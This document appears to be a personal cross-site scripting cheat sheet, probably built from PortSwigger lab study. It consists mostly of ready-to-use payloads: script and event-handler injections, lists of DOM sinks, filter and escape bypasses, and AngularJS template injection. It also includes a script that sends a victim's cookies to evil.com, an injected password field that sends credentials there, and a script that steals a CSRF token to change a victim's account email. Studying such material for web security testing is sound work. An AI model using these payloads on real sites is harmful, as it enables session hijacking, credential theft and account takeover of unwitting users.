XSS
Attack
Payloads
<sCRipT>alert()</scRipt>
<a href="javascript:alert()"></a>
<img src=x onerror="alert()">
<svg><animatetransform onbegin=alert(1)>
<iframe src='https://example.com/?search="><body onresize=print()>' onload=this.style.width='100px'>
domain.com/?search=<div id=anchor onfocus=alert(document.cookie) tabindex=1>#anchor
More payloads on https://portswigger.net/web-security/cross-site-scripting/cheat-sheet.
HTML events and tags
Lists :
Source www.w3schools.com - event and www.w3schools.com - tags.
DOM XSS
The following are some of the main sinks that can lead to DOM-XSS vulnerabilities:
document.write()
document.writeln()
document.domain
element.innerHTML
element.outerHTML
element.insertAdjacentHTML
element.onevent
The following jQuery functions are also sinks that can lead to DOM-XSS vulnerabilities:
add()
after()
append()
animate()
insertAfter()
insertBefore()
before()
html()
prepend()
replaceAll()
replaceWith()
wrap()
wrapInner()
wrapAll()
has()
constructor()
init()
index()
jQuery.parseHTML()
$.parseHTML()
Source portswigger.net.
Bypass
Replace function
The replace
function only replace the first occurence.
> "<img src=x onerror='alert()'>".replace("<", "<")
"<img src=x onerror='alert()'>"
> "<<img src=x onerror='alert()'>".replace("<", "<")
"<<img src=x onerror='alert()'>"
jQuery's $() selector
<iframe src="https://example.com/" onload="this.src+='<img src=x onerror=print()>'"></iframe>
AngularJS ng-app
{{$on.constructor('alert(1)')()}}
Send cookie via POST request
<script>
fetch('https://evil.com',{method:'POST',mode:'no-cors',body:document.cookie});
</script>
Capture passwords (keylogger)
<input name=username id=username>
<input type=password name=password onchange="if(this.value.length) fetch('https://evil.com',{method:'POST',mode: 'no-cors',body:username.value+':'+this.value});">
URL Reflection + Bind Key
/?%27accesskey=%27x%27onclick=%27alert()
, then Alt+x
on Brave
HTML entity escape
http://example',alert(),'
=>('http://example',alert(),'...')'
Change CSRF
<script>
let req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('GET', '/my-account', true);
req.send();
function handleResponse() {
let csrfToken = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
fetch("/my-account/change-email", {
"body": "email=toto@toto.com&csrf=" + csrfToken,
"method": "POST"
});
};
</script>
Escape
'
and \
</script><script>alert()</script>
'
with <
filtered
\';alert()//
'-alert(1)-'
XSS inside backticks
${alert(document.domain)}